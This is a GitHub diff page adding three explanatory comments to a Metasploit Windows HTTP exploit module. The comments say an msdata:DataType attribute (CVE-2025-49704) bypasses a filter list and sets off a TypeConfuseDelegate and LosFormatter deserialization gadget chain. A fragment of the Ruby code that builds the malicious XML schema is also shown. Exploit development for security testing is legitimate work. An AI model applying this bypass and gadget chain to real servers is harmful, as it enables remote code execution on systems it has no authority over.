File tree Expand file tree Collapse file tree 1 file changed +3
-0
lines changed
modules/exploits/windows/http Expand file tree Collapse file tree 1 file changed +3
-0
lines changed Original file line number Diff line number Diff line change @@ -166,6 +166,9 @@ def self.generate(nested_gadget_b64)
166
166
name_b = Rex ::Text . rand_text_alpha_lower ( 8 ..16 )
167
167
name_c = Rex ::Text . rand_text_alpha_lower ( 8 ..16 )
168
168
169
+ # The msdata:DataType attribute below is CVE-2025-49704, and allows bypassing a filter list so we can instantiate
170
+ # LosFormatter and ObjectDataProvider in the diffgr:diffgram XML document below, allowing us to kcik off a second
171
+ # stage deserialization gadget (which will be a TypeConfuseDelegate + LosFormatter gadget chain).
169
172
schema = <<~EOF
170
173
<xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="#{ name_a } ">
171
174
<xs:element name="#{ name_a } " msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
You can’t perform that action at this time.
0 commit comments